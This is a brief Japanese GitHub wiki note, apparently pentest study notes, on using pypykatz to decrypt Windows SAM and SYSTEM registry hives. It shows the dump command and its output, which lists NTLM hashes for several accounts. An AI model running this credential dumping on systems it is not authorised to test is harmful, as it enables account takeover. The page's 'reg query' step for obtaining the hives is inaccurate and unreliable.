pypykatz - yokohama/oreshic-record GitHub Wiki

レジストリのSYSTEとSAMを使って、NTLMハッシュを取得

Message

Mimikatzのpython版。以下のコマンドは、SYSTEMから暗号化キーを取り出し、SAMを複合して、NTLMハッシュをダンプ。

SYSTEM: reg query HKLM\SYSTEM SAM: reg query HKLM\SAM

Command

pypykatz registry SYSTEM --sam SAM

Result

============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: f4fb8f729017b7d8a540e99f6dabea79
============== SAM hive secrets ==============
HBoot Key: 9898f0f5c79b1fa7e7bf87bda7069f2010101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

Tag

Mimikatz, NTLM, win, priv

⚠️ **GitHub.com Fallback** ⚠️